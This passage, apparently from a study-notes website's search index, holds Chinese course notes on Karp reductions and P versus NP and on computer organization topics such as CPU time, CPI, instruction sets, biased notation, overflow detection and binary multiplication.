<p>\u7ed9\u5b9a\u8bed\u8a00\\(L_1\\)\u548c\\(L_2\\)\uff0c\u8ba1\u7b97\u67d0\u4e2a\u4ece\\(L_1\\)\u5230\\(L_2\\)\u7684\u51fd\u6570\\(f\\)\u3002</p>"},{"location":"NOTE/ADS/wk9/#karp","title":"Karp\u5f52\u7ea6","text":"<p>\u79f0\u4e00\u4e2a\u8bed\u8a00\\(L_1\\)\u53ef\u4ee5\u591a\u9879\u5f0f\u5f52\u7ea6( \\(Karp\\) \u5f52\u7ea6)\u5230\u53e6\u4e00\u4e2a\u8bed\u8a00\\(L_2\\)\uff0c\u5982\u679c\u5b58\u5728\u4e00\u4e2a\u591a\u9879\u5f0f\u65f6\u95f4\u7684\u8ba1\u7b97\u51fd\u6570\\(f\\)\uff0c\u4f7f\u5f97</p> \\[     w \\in L_1 \\Leftrightarrow f(w) \\in L_2 \\] <p>\u8bb0\u4f5c\\(L_1 \\leqslant_p L_2\\)\u3002\u6b64\u65f6\u8bf4\u660e \\(L_2\\) \u81f3\u5c11\u548c \\(L_1\\) \u4e00\u6837\u96be\u3002</p> <p>\u90a3\u4e48\u5bf9\u4e8e\\(NP\\)\u548c\\(P\\)\u7684\u5173\u7cfb\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u5982\u4e0b\u7ed3\u8bba\uff1a</p> <p>\u5982\u679c\u6211\u4eec\u627e\u5230\u4e86\u4e00\u4e2a\\(NPC\\)\u95ee\u9898\uff0c\u90a3\u4e48\u6240\u6709\u7684\\(NP\\)\u95ee\u9898\u90fd\u53ef\u4ee5\u5f52\u7ea6\u5230\u8fd9\u4e2a\\(NPC\\)\u95ee\u9898\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5982\u679c\u6211\u4eec\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u4e00\u4e2a\\(NPC\\)\u95ee\u9898\uff0c\u90a3\u4e48\u6240\u6709\u7684\\(NP\\)\u95ee\u9898\u90fd\u53ef\u4ee5\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u3002\u6b64\u65f6\u6709</p> \\[     P=NP \\Rightarrow P=NP=NPC \\] <p>\u5982\u679c\u6211\u4eec\u4e0d\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u4e00\u4e2a\\(NPC\\)\u95ee\u9898\uff0c\u90a3\u4e48\u56e0\u4e3a\\(NPC\\)\u95ee\u9898\u662f\\(NP\\)\u95ee\u9898\u7684\u5b50\u96c6\uff0c\u6240\u4ee5\\(P\\)\u662f\u4e0d\u7b49\u4e8e\\(NP\\)\u7684\u3002</p> <p>\u4f46\u662f\u5f88\u9057\u61be\u7684\u662f\uff0c\u76ee\u524d\u8fd8\u6ca1\u6709\u4eba\u80fd\u591f\u8bc1\u660e\\(P\\)\u662f\u5426\u7b49\u4e8e\\(NP\\)\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u8fd8\u4e0d\u77e5\u9053\\(NPC\\)\u95ee\u9898\u662f\u5426\u53ef\u4ee5\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u3002</p>"},{"location":"NOTE/CO/","title":"\u8ba1\u7b97\u673a\u7ec4\u6210\u4e0e\u8bbe\u8ba1","text":"<p> \u7ea6 27 \u4e2a\u5b57 </p> <p>\u5443\u554a\uff0c\u786c\u4ef6</p>"},{"location":"NOTE/CO/#_2","title":"\u76ee\u5f55","text":"<ul> <li>\u7eea\u8bba</li> <li>\u6307\u4ee4\u96c6</li> <li>\u8ba1\u7b97\u673a\u4e2d\u7684\u7b97\u6570</li> </ul>"},{"location":"NOTE/CO/wk1/","title":"\u7eea\u8bba","text":"<p> \u7ea6 741 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 3 \u5206\u949f</p>"},{"location":"NOTE/CO/wk1/#_1","title":"\u8ba1\u7b97\u673a\u7cfb\u7edf\u7ed3\u6784\u7684\u516b\u5927\u4f1f\u5927\u5b9a\u5f8b","text":"<ul> <li> <p>Moore's Law The integrate circuit resource double every 18-24 months.</p> </li> <li> <p>Lower-level details are hidden to higher levels</p> </li> <li> <p>Make the common cases fast</p> </li> <li> <p>Performance via Parallelism</p> </li> <li> <p>Performance via Pipelining</p> </li> <li> <p>Performance via Prediction</p> </li> <li> <p>Hierarchy of memory</p> </li> <li> <p>Dependability via redundancy</p> </li> </ul>"},{"location":"NOTE/CO/wk1/#_2","title":"\u5e38\u89c1\u540d\u8bcd\u548c\u8ba1\u7b97","text":"<p>CPU\u65f6\u949f\u5468\u671f \uff1a\u4e00\u4e2a\u662f\u65f6\u949f\u8109\u51b2\u6240\u9700\u8981\u7684\u65f6\u95f4\uff0c\u4e5f\u53eb\u8282\u62cd\u8109\u51b2\u6216T\u5468\u671f\uff0c\u5b83\u662fCPU\u4e2d\u6700\u5c0f\u7684\u65f6\u95f4\u5355\u4f4d \u4e3b\u9891(CPU\u65f6\u949f\u9891\u7387)\uff1a1\u79d2\u4e2d\u7684\u65f6\u949f\u8109\u51b2\u6570\uff0c\u5373\u65f6\u949f\u5468\u671f\u7684\u5012\u6570</p> <p>CPI\uff1a\u6267\u884c\u4e00\u6761\u6307\u4ee4\u6240\u9700\u8981\u7684\u65f6\u949f\u5468\u671f\u6570 = \u603b\u65f6\u949f\u5468\u671f\u6570/IC\uff0c\u4e00\u822c\u4e0e\u7f16\u8bd1\u5668\u6709\u5173\uff1b</p> <p>IC\uff1a\u603b\u6307\u4ee4\u6570</p> <p>CPU\u6267\u884c\u65f6\u95f4\uff1a\u8fd0\u884c\u4e00\u4e2a\u7a0b\u5e8f\u6240\u82b1\u8d39\u7684\u65f6\u95f4 = CPU\u65f6\u949f\u5468\u671f\u6570/\u4e3b\u9891 = (\u6307\u4ee4\u6761\u6570*CPI)/\u4e3b\u9891</p> \\[ \\begin{align*}  CPU\\ Time &amp;= CPU\\ Clock\\ Cycles \\times Clock\\ Cycle\\ Time \\\\ &amp;=\\dfrac{ CPU\\ Clock\\ Cycles}{Clock\\ Rates} \\end{align*} \\] \\[ \\begin{align*} Clock\\ Cycles &amp;= Instruction\\ Count \\times Cycles\\ per\\ Instruction(CPI)\\\\ CPU\\ Time &amp; = Instruction\\ Count \\times CPI\\times CPI\\ Cycle\\ Time\\\\ &amp; = \\dfrac{Instruction\\ Count \\times CPI}{Clock\\ Rate} \\end{align*} \\] <p>\u5f71\u54cdCPU time \u7684\u56e0\u7d20\u6709\u5f88\u591a</p> \\[CPU\\ Time = \\dfrac{Instructions}{Program}\\times \\dfrac{Clock\\ Cycles}{Instruction}\\times \\dfrac{Seconds}{Clock Cycle}\\] <p>\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u82e5\u7ed9\u51fa\u6d4b\u8bd5\u7a0b\u5e8f\u5305\u542b\u591a\u6761\u6307\u4ee4\uff0c\u5219CPI\u5c31\u662f\u8fd9\u51e0\u6761\u6307\u4ee4\u7684\u6570\u5b66\u671f\u671b</p> <p>Example</p> \u6307\u4ee4\u7c7b\u578b \u6240\u5360\u6bd4\u4f8b CPI A 50% 2 B 20% 3 C 10% 4 D 20% 5 \\[ CPI = 2  \\times 0.5 + 3 \\times 0.2 + 4 \\times 0.1 + 5 \\times 0.2 = 3 \\] <p>MIPS\uff1a\u6bcf\u79d2\u6267\u884c\u591a\u5c11\u767e\u4e07\u6761\u6307\u4ee4 = \u6307\u4ee4\u6761\u6570/(\u6267\u884c\u65f6\u95f4x106) = \u4e3b\u9891/CPI</p> <p>ISA:\u6307\u4ee4\u96c6\u5408\u67b6\u6784(Instruction Set Architecture)</p> <p>\u5b9a\u4e49\u4e86\u8ba1\u7b97\u673a\u786c\u4ef6\u4e0e\u8f6f\u4ef6\u4e4b\u95f4\u7684\u63a5\u53e3\u3002\u5b83\u5177\u4f53\u5305\u62ec\uff1a</p> <ul> <li>\u652f\u6301\u7684\u6307\u4ee4\u7c7b\u578b\uff08\u6570\u636e\u5904\u7406\u3001\u63a7\u5236\u3001\u8f93\u5165/\u8f93\u51fa\u7b49\uff09</li> <li>\u6570\u636e\u7c7b\u578b\uff08\u6574\u6570\u3001\u6d6e\u70b9\u6570\u3001\u5b57\u7b26\u7b49\uff09</li> <li>\u5bc4\u5b58\u5668\u8bbe\u8ba1\uff08\u5bc4\u5b58\u5668\u6570\u91cf\u548c\u7c7b\u578b\uff09</li> <li>\u5730\u5740\u6a21\u5f0f\uff08\u5982\u4f55\u8ba1\u7b97\u6307\u4ee4\u64cd\u4f5c\u6570\u7684\u5730\u5740\uff09</li> </ul> <p>RISC</p> <p>RISC\uff08Reduced Instruction Set Computing\uff09\u662f\u4e00\u79cd\u6307\u4ee4\u96c6\u8bbe\u8ba1\u7406\u5ff5</p> <ul> <li>\u6307\u4ee4\u6570\u91cf\u8f83\u5c11\uff0c\u4e14\u6240\u6709\u6307\u4ee4\u90fd\u5728\u5355\u4e2a\u65f6\u949f\u5468\u671f\u5185\u6267\u884c\u3002</li> <li>\u6bcf\u6761\u6307\u4ee4\u957f\u5ea6\u76f8\u540c\uff0c\u901a\u5e38\u4e3a\u56fa\u5b9a\u5927\u5c0f\u3002</li> <li>\u4f7f\u7528\u5927\u91cf\u7684\u5bc4\u5b58\u5668\u4ee5\u51cf\u5c11\u5185\u5b58\u8bbf\u95ee\u3002</li> <li>\u7b80\u5316\u7684\u5bfb\u5740\u6a21\u5f0f\uff0c\u63d0\u9ad8\u4e86\u6267\u884c\u6548\u7387\u3002</li> <li>\u786c\u4ef6\u8bbe\u8ba1\u66f4\u7b80\u5355\uff0c\u6613\u4e8e\u6d41\u6c34\u7ebf\u64cd\u4f5c\uff0c\u63d0\u9ad8\u4e86\u6027\u80fd\u3002</li> </ul> <p>MISC</p> <p>MISC\uff08Minimal Instruction Set Computing\uff09\u662f\u4e00\u79cd\u6781\u7b80\u6307\u4ee4\u96c6\u8bbe\u8ba1</p> <ul> <li>\u6307\u4ee4\u96c6\u975e\u5e38\u5c0f\uff0c\u901a\u5e38\u53ea\u6709\u51e0\u6761\u57fa\u672c\u6307\u4ee4\u3002</li> <li>\u6bcf\u6761\u6307\u4ee4\u53ef\u80fd\u9700\u8981\u591a\u4e2a\u5468\u671f\u624d\u80fd\u6267\u884c\u3002</li> <li>\u591a\u6570\u6307\u4ee4\u4f9d\u8d56\u4e8e\u7a0b\u5e8f\u7684\u6240\u6709\u64cd\u4f5c\u901a\u8fc7\u5c11\u91cf\u57fa\u672c\u6307\u4ee4\u7ec4\u5408\u5b8c\u6210\u3002</li> <li>\u786c\u4ef6\u5b9e\u73b0\u7b80\u5355\uff0c\u5c0f\u578b\u8bbe\u5907\u6216\u7279\u5b9a\u5e94\u7528\u4e2d\u5e38\u89c1\u3002</li> </ul> <p>CISC</p> <p>CISC\uff08Complex Instruction Set Computing\uff09\u662f\u53e6\u4e00\u79cd\u6307\u4ee4\u96c6\u8bbe\u8ba1\u7406\u5ff5</p> <ul> <li>\u5305\u542b\u5927\u91cf\u6307\u4ee4\uff0c\u4e14\u6bcf\u6761\u6307\u4ee4\u53ef\u4ee5\u6267\u884c\u590d\u6742\u7684\u64cd\u4f5c\u3002</li> <li>\u6307\u4ee4\u957f\u5ea6\u4e0d\u56fa\u5b9a\uff0c\u8bb8\u591a\u6307\u4ee4\u53ef\u4ee5\u901a\u8fc7\u4e00\u6761\u6307\u4ee4\u8fdb\u884c\u591a\u6b65\u64cd\u4f5c\u3002</li> <li>\u652f\u6301\u66f4\u591a\u7684\u5bfb\u5740\u6a21\u5f0f\u548c\u6570\u636e\u7c7b\u578b\u3002</li> <li>\u53ef\u4ee5\u51cf\u5c11\u7a0b\u5e8f\u7684\u5927\u5c0f\uff0c\u56e0\u4e3a\u8bb8\u591a\u64cd\u4f5c\u53ef\u4ee5\u901a\u8fc7\u5355\u6761\u6307\u4ee4\u5b8c\u6210\u3002</li> </ul>"},{"location":"NOTE/CO/wk2/","title":"Arithmetic for Computer","text":"<p> \u7ea6 4102 \u4e2a\u5b57  5 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 14 \u5206\u949f</p>"},{"location":"NOTE/CO/wk2/#introduction","title":"Introduction","text":"<p>\u8ba1\u7b97\u673a\u4e2d\u7684\u6307\u4ee4\u53ef\u4ee5\u5206\u4e3a\u4e09\u7c7b\uff1a</p> <p>memory-reference instructions</p> <p><code>lw, sw</code> \u9700\u8981 ALU \u8ba1\u7b97\u5185\u5b58\u5730\u5740  <code>lw</code>\u6307\u7684\u662f load word, \u4ece\u5185\u5b58\u4e2d\u8bfb\u53d6\u4e00\u4e2a\u5b57\uff0c<code>sw</code>\u6307\u7684\u662f store word, \u5c06\u4e00\u4e2a\u5b57\u5b58\u5165\u5185\u5b58\u3002</p> <p>arithmetic-logical instructions</p> <p><code>add, sub, and, or, xor, slt</code> \u9700\u8981 ALU \u8fdb\u884c\u8ba1\u7b97 <code>slt</code>\u6307\u7684\u662f set less than, \u5982\u679c\u7b2c\u4e00\u4e2a\u64cd\u4f5c\u6570\u5c0f\u4e8e\u7b2c\u4e8c\u4e2a\u64cd\u4f5c\u6570\uff0c\u90a3\u4e48\u5c06\u7ed3\u679c\u8bbe\u7f6e\u4e3a 1\uff0c\u5426\u5219\u4e3a 0\u3002</p> <p>control flow instructions</p> <p><code>beq, bne, jal</code> \u9700\u8981 ALU \u8fdb\u884c\u6761\u4ef6\u5224\u65ad <code>beq</code>\u6307\u7684\u662f branch equal, \u5982\u679c\u4e24\u4e2a\u64cd\u4f5c\u6570\u76f8\u7b49\uff0c\u90a3\u4e48\u8df3\u8f6c\u5230\u6307\u5b9a\u5730\u5740\u3002<code>bne</code>\u6307\u7684\u662f branch not equal, \u5982\u679c\u4e24\u4e2a\u64cd\u4f5c\u6570\u4e0d\u76f8\u7b49\uff0c\u90a3\u4e48\u8df3\u8f6c\u5230\u6307\u5b9a\u5730\u5740\u3002<code>jal</code>\u6307\u7684\u662f jump and link, \u8df3\u8f6c\u5230\u6307\u5b9a\u5730\u5740\u5e76\u5c06\u4e0b\u4e00\u6761\u6307\u4ee4\u7684\u5730\u5740\u5b58\u5165\u5bc4\u5b58\u5668\u3002</p>"},{"location":"NOTE/CO/wk2/#signed-number-formats","title":"Signed Number Formats(\u6709\u7b26\u53f7\u6570\u7684\u8868\u793a)","text":"<ul> <li>Sign and magnitude</li> <li>2's Complement</li> <li>1's Complement</li> <li>Biased notation  </li> </ul> <p>what is biased notation</p> <p>\u504f\u7f6e\u8868\u793a\u6cd5\uff08\u6216 \u504f\u79fb\u8868\u793a\u6cd5 \uff09\u662f\u4e00\u79cd\u5728\u8ba1\u7b97\u673a\u79d1\u5b66\u4e2d\u5e38\u7528\u7684\u6570\u503c\u7f16\u7801\u7cfb\u7edf\uff0c\u4e3b\u8981\u7528\u4e8e\u8868\u793a\u6b63\u6570\u548c\u8d1f\u6570\u3002\u5b83\u901a\u8fc7\u5f15\u5165\u4e00\u4e2a \u504f\u7f6e \u6216 \u504f\u79fb\u91cf \u5230\u5b9e\u9645\u6570\u503c\uff0c\u4f7f\u5f97\u6240\u6709\u7f16\u7801\u7684\u6570\u5b57\u90fd\u662f\u975e\u8d1f\u6570\uff0c\u8fd9\u6837\u53ef\u4ee5\u7b80\u5316\u786c\u4ef6\u5b9e\u73b0\u3002\u5728\u6d6e\u70b9\u6570\u8868\u793a\u7b49\u7cfb\u7edf\u4e2d\uff0c\u8fd9\u79cd\u65b9\u6cd5\u7279\u522b\u6709\u7528\u3002</p> <ul> <li>\u504f\u7f6e\u6216\u504f\u79fb\u91cf: \u5728\u7f16\u7801\u65f6\u7ed9\u5b9e\u9645\u6570\u503c\u52a0\u4e0a\u4e00\u4e2a\u56fa\u5b9a\u7684\u504f\u7f6e\u3002</li> <li> <p>\u7f16\u7801\u8fc7\u7a0b:  \u5f53\u4e00\u4e2a\u6570\u5b57\u8981\u88ab\u7f16\u7801\u65f6\uff0c\u9700\u8981\u5c06\u5176\u503c\u52a0\u4e0a\u4e00\u4e2a\u56fa\u5b9a\u7684\u504f\u7f6e\u3002\u4f8b\u5982\uff0c\u5982\u679c\u504f\u7f6e\u662f 127\uff0c\u800c\u6570\u5b57\u662f -5\uff0c\u90a3\u4e48\u7f16\u7801\u540e\u7684\u503c\u5c06\u662f \\(-5 + 127 = 122\\)\u3002</p> </li> <li> <p>\u89e3\u7801\u8fc7\u7a0b:      \u5f53\u9700\u8981\u89e3\u7801\u65f6\uff0c\u89e3\u7801\u5668\u5c06\u4ece\u7f16\u7801\u540e\u7684\u6570\u5b57\u4e2d\u51cf\u53bb\u504f\u7f6e\uff0c\u4ee5\u6062\u590d\u539f\u59cb\u7684\u503c\u3002\u4f8b\u5982\uff0c\u7f16\u7801\u503c 122 \u7ecf\u8fc7\u89e3\u7801\u65f6\uff0c\u51cf\u53bb 127 \u5f97\u5230\u539f\u59cb\u503c \\(-5\\)\u3002</p> </li> </ul> <p>\u5047\u8bbe\u6211\u4eec\u4f7f\u7528 8 \u4f4d\u4e8c\u8fdb\u5236\u6570\u6765\u8868\u793a\u6570\u5b57\uff0c\u504f\u7f6e\u8bbe\u5b9a\u4e3a 127\uff1a</p> <ul> <li> <p>\u7f16\u7801\u65f6\uff1a</p> <ul> <li>\u6570\u5b57 0 \u7f16\u7801\u4e3a \\(0 + 127 = 127\\)\uff0c\u5373\u4e8c\u8fdb\u5236\u8868\u793a\u4e3a <code>01111111</code></li> <li>\u6570\u5b57 5 \u7f16\u7801\u4e3a \\(5 + 127 = 132\\)\uff0c\u5373\u4e8c\u8fdb\u5236\u8868\u793a\u4e3a <code>10000100</code></li> <li>\u6570\u5b57 -3 \u7f16\u7801\u4e3a \\(-3 + 127 = 124\\)\uff0c\u5373\u4e8c\u8fdb\u5236\u8868\u793a\u4e3a <code>01111100</code></li> </ul> </li> <li> <p>\u89e3\u7801\u65f6\uff1a</p> <ul> <li>\u5982\u679c\u8bfb\u53d6\u5230 <code>01111111</code>\uff0c\u5bf9\u5e94\u7684\u503c\u4e3a \\(127 - 127 = 0\\)</li> <li>\u5982\u679c\u8bfb\u53d6\u5230 <code>10000100</code>\uff0c\u5bf9\u5e94\u7684\u503c\u4e3a \\(132 - 127 = 5\\)</li> <li>\u5982\u679c\u8bfb\u53d6\u5230 <code>01111100</code>\uff0c\u5bf9\u5e94\u7684\u503c\u4e3a \\(124 - 127 = -3\\)</li> </ul> </li> <li> <p>\u5e94\u7528\u573a\u666f\uff1a</p> </li> </ul> <p>\u504f\u7f6e\u8868\u793a\u6cd5\u5e38\u7528\u4e8e \u6d6e\u70b9\u6570\u8868\u793a\uff0c\u5c24\u5176\u662f\u5728IEEE 754 \u6807\u51c6\u4e2d\uff0c\u6d6e\u70b9\u6570\u7684\u6307\u6570\u90e8\u5206\u4f7f\u7528\u4e86\u504f\u7f6e\u8868\u793a\u6cd5\u3002\u8fd9\u4f7f\u5f97\u6307\u6570\u53ef\u4ee5\u540c\u65f6\u8868\u793a\u6b63\u6570\u548c\u8d1f\u6570\uff0c\u7b80\u5316\u4e86\u786c\u4ef6\u7535\u8def\u7684\u8bbe\u8ba1\u4e0e\u5b9e\u73b0\u3002</p> <p>\u504f\u7f6e\u8868\u793a\u6cd5\u901a\u8fc7\u6dfb\u52a0\u4e00\u4e2a\u56fa\u5b9a\u7684\u504f\u79fb\u91cf\uff0c\u4f7f\u6570\u503c\u8868\u793a\u66f4\u52a0\u65b9\u4fbf\uff0c\u7279\u522b\u662f\u5728\u5e95\u5c42\u786c\u4ef6\u5b9e\u73b0\u4e0a\u6709\u8f83\u5927\u4f18\u52bf\u3002</p> <p>Why we need biased notation</p> <p> </p> <p>\u4e0a\u56fe\u662f 32 \u4f4d\u7684\u4e8c\u8fdb\u5236\u8865\u7801\u8868\u793a\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5de6\u4fa7\u4e8c\u8fdb\u5236\u8868\u793a\uff0c\u5982\u679c\u770b\u4f5c\u65e0\u7b26\u53f7\u6570\uff0c\u90a3\u4ed6\u4eec\u662f\u4ece\u5c0f\u5230\u5927\u6392\u5217\u7684\uff1b\u4f46\u53f3\u4fa7\u5bf9\u5e94\u7684\u5341\u8fdb\u5236\u6574\u6570\u786e\u5b9e\u5206\u6bb5\u5355\u589e\u7684\u3002  \u6211\u4eec\u5e0c\u671b\u6709\u4e00\u79cd\u8fd9\u6837\u7684\u8868\u793a\uff0c\u80fd\u591f\u8ba9\u53f3\u4fa7\u7684\u5bf9\u5e94\u7684\u503c\u4e5f\u5355\u8c03\u9012\u589e\u3002  \u4e00\u4e2a\u60f3\u6cd5\u662f\u5bf9\u53f3\u4fa7\u6570\u52a0\u4e0a \\(2^{31}\\), \u76f8\u5f53\u4e8e\u5176\u4e8c\u8fdb\u5236\u8868\u793a\u4e0b\u6700\u9ad8\u4f4d\u7ffb\u8f6c\u3002  </p> <p>\u8ba1\u7b97\u504f\u79fb\u7801</p> <p>\u5728\u6ca1\u6709\u8bf4\u660e\u7684\u60c5\u51b5\u4e0b\uff0c\\([X]_b = 2^n + X\\)  \u4ece\u4e8c\u8fdb\u5236\u7801\u5230\u79fb\u7801\uff0c\u53ea\u9700\u8981\u7ffb\u8f6c\u7b26\u53f7\u4f4d\u5373\u53ef\u3002 \u5728 IEEE \u6807\u51c6\u4e2d\uff0c\u504f\u79fb\u7801\u8981\u52a0\u4e0a \\(2^{n-1}-1\\) \u800c\u4e0d\u662f \\(2^{n}\\)</p>"},{"location":"NOTE/CO/wk2/#arithmetic","title":"Arithmetic","text":"<ul> <li>Addition</li> <li>Substraction(\u901a\u8fc7\u52a0\u6cd5\u5b9e\u73b0\uff0c\u51cf\u53bb\u4e00\u4e2a\u6570\u7b49\u4e8e\u52a0\u4e0a\u8fd9\u4e2a\u6570\u7684\u8865\u7801)  </li> <li>Overflow detection:</li> </ul> <p>Overflow detection</p> <p>\u65e0\u7b26\u53f7\u6570\u7684\u6ea2\u51fa\uff1a   \u6709\u7b26\u53f7\u6570\u7684\u6ea2\u51fa\uff1a    \u5728\u4e8c\u8fdb\u5236\u52a0\u51cf\u6cd5\u4e2d\uff0c\u6ea2\u51fa\uff08Overflow\uff09\u662f\u6307\u8ba1\u7b97\u7ed3\u679c\u8d85\u51fa\u4e86\u53ef\u8868\u793a\u7684\u6570\u503c\u8303\u56f4\uff0c\u901a\u5e38\u53d1\u751f\u5728 \u6709\u7b26\u53f7\u6570 \u8fd0\u7b97\u4e2d\u3002</p> <p>\u5728\u8bbe\u8ba1\u52a0\u51cf\u6cd5\u5668\u65f6\uff0c\u901a\u5e38\u5728\u6570\u636e\u4f4d\u7684\u57fa\u7840\u4e0a\u518d\u589e\u52a0\u4e00\u4f4d\u7528\u4e8e\u5224\u65ad\u662f\u5426\u6ea2\u51fa\u6216\u8005\u8fdb\u4f4d\u3002\u8fd9\u4e00\u4f4d\u901a\u5e38\u79f0\u4e3a \u6ea2\u51fa\u4f4d\uff08Overflow Bit\uff09\u6216 \u8fdb\u4f4d\u4f4d\uff08Carry Bit\uff09\u3002</p> <p>\u6709\u7b26\u53f7\u6570\u7684\u6ea2\u51fa\u6709\u4ee5\u4e0b\u51e0\u79cd\u60c5\u51b5</p> Operation Operand A Operand B Result overflow A + B \u2265 0 \u2265 0 &lt; 0 (01) A + B &lt; 0 &lt; 0 \u2265 0 (10) A - B \u2265 0 &lt; 0 &lt; 0 (01) A - B &lt; 0 \u2265 0 \u2265 0 (10) <p>\u53ef\u4ee5\u53d1\u73b0\uff0c\u6ea2\u51fa\u65f6\\(C_n \\oplus C_{n-1}\\)\u5373\u8fdb\u4f4d\u4f4d\u548c\u6700\u9ad8\u4f4d\u7684\u5f02\u6216\u7ed3\u679c\u4e3a1\u3002</p> <p>\u800c\u5bf9\u4e8e\u65e0\u7b26\u53f7\u6570\uff0c\u53ea\u6709\u4e00\u79cd\u60c5\u51b5\u4f1a\u53d1\u751f\u6ea2\u51fa\uff0c\u5373\u7ed3\u679c\u5927\u4e8e\u53ef\u8868\u793a\u7684\u6700\u5927\u503c\uff0ccarry bit\u4e3a1\u3002</p> <p>Key-point</p> <p>\u5f53ALU\u4f7f\u7528\u7684\u662f\u52a0\u51cf\u6cd5\u64cd\u4f5c\u65f6\uff0c\u624d\u6709\\(C_n \\oplus C_{n-1}\\)</p> <p>Constructing an ALU </p> <p>\u6ce8: RISC-V \u4e0d\u652f\u6301 nor \u6307\u4ee4\u3002</p>"},{"location":"NOTE/CO/wk2/#multiplication","title":"Multiplication","text":""},{"location":"NOTE/CO/wk2/#unsigned-multiplication","title":"Unsigned multiplication","text":"\\[ Multiplicand   \\times Multiplier = Product\\] Version 1 <p>\u7b2c\u4e00\u79cd\u4e58\u6cd5\u5668\uff0c\u5224\u65ad\u4e58\u6570\u7684\u6700\u4f4e\u4f4d\u662f\u5426\u4e3a 1\uff0c\u5982\u679c\u662f\u5219\u88ab\u4e58\u6570\u52a0\u90e8\u5206\u548c\u5b58\u5230\u7ed3\u679c\u91cc\u9762\uff0c\u5426\u5219\u52a00\u3002\u6bcf\u6b21\u5de6\u79fb\u88ab\u4e58\u6570\uff0c\u53f3\u79fb\u4e58\u6570\u3002   \u4f46\u662f\u8fd9\u79cd\u4e58\u6cd5\u5668\u5bf9\u4e8e32\u4f4d\u7684\u4e58\u6cd5\u5374\u9700\u8981 64\u4f4d\u7684\u5bc4\u5b58\u5668\u5b58\u50a8\u88ab\u4e58\u6570\uff0c\u5982\u4e0b\uff1a   \u9700\u8981 64+64+32 bit \u7684\u5bc4\u5b58\u5668\uff0c\u548c\u4e00\u4e2a 64 bit ALU.  </p> Version 2 <p>\u5728Version1\u4e2d\uff0c\u5b9e\u9645\u4e0a\u6bcf\u6b21\u8fdb\u884c\u7684\u52a0\u6cd5\u90fd\u662f32\u4f4d\u7684\uff0c\u6bcf\u6b21\u52a0\u5b8c\u4ee5\u540e\uff0cproduct\u7684\u6700\u4f4e\u4f4d\u5c31\u4e0d\u4f1a\u53d8\u5316\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u4f7f\u752832\u4f4d\u7684ALU\uff0c\u6bcf\u6b21\u53f3\u79fbproduct\u800c\u4e0d\u662f\u5de6\u79fb\u4e58\u6570\uff0c\u7136\u540e\u8ba9\u4e58\u6570\u4e0eproduct\u76f8\u52a0\u5373\u53ef\u3002   \u8fd9\u6837\u539f\u672c\u9700\u898164+64+32 bit \u7684\u5bc4\u5b58\u5668\uff0c\u548c\u4e00\u4e2a 64 bit ALU. \u53d8\u6210\u4e86 32+64+32 bit \u7684\u5bc4\u5b58\u5668\uff0c\u548c\u4e00\u4e2a 32 bit ALU.    </p> Version3 <p>Version2\u4e2d\uff0c64\u4f4d\u7684product\u6bcf\u6b21\u53f3\u79fb\uff0c\u5176\u4e2d\u53ea\u6709\u9ad832\u4f4d\u6709\u7528\uff0c\u90a3\u4e48\u4f4e32\u4f4d\u6070\u597d\u53ef\u4ee5\u7528\u6765\u5b58\u653e\u4e58\u6570\u3002\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u53ea\u752832\u4f4d\u7684\u5bc4\u5b58\u5668\u548cALU\u6765\u5b9e\u73b0\u4e58\u6cd5\u3002   \u5982\u4e0b  </p> \u4f8b-4\u4f4d\u4e58\u6cd5,\u9ad8\u56db\u4f4d\u7ed3\u679c\uff0c\u4f4e\u56db\u4f4d\u4e58\u6570 <p> </p>"},{"location":"NOTE/CO/wk2/#signed-multiplication","title":"Signed multiplication","text":"<p>\u6709\u7b26\u53f7\u76f8\u4e58\u4e0d\u80fd\u76f4\u63a5\u4e58\uff0c\u53ef\u4ee5\u5148\u7528\u7b26\u53f7\u4f4d\u51b3\u5b9a\u7ed3\u679c\u7b26\u53f7\uff0c\u518d\u5bf9\u7edd\u5bf9\u503c\u8fdb\u884c\u4e58\u6cd5\u3002 </p> <p>Booth's Algorithm </p> <p>\u601d\u60f3\uff1a\u5982\u679c\u6709\u4e00\u4e32 1, \u51cf\u6389\u4e58\u6570\u7684\u7b2c\u4e00\u4e2a 1, \u540e\u9762\u7684 1 \u7684\u5e8f\u5217\u8fdb\u884c\u79fb\u4f4d\uff0c\u5f53\u4e0a\u4e00\u6b65\u662f\u6700\u540e\u4e00\u4e2a 1 \u65f6\u52a0\u3002  </p> <p>\u6700\u5f00\u59cb\u628a\u79ef\u653e\u5728\u9ad8\u4f4d\uff0c\u88ab\u4e58\u6570\u653e\u5728\u4f4e\u4f4d\u3002\uff08\u6570\u636e\u4fdd\u5b58\u65b9\u6cd5\u540c 2.1.1\uff09\u9ed8\u8ba4 \\(bit_{-1}=0\\)</p> <ul> <li> <p>Action</p> <ul> <li>10 - subtract multiplicand from left</li> <li>11 - nop</li> <li>01 - add multiplicand to left half</li> <li>00 - nop</li> </ul> <p>\u6bcf\u4e2a\u64cd\u4f5c\u7ed3\u675f\u540e\u90fd\u8981\u79fb\u4f4d\uff0c\u548c 2.1.1 \u4e2d\u7c7b\u4f3c</p> </li> </ul> <p>Key-point</p> <p>\u9700\u8981\u6ce8\u610f\u7684\u662f 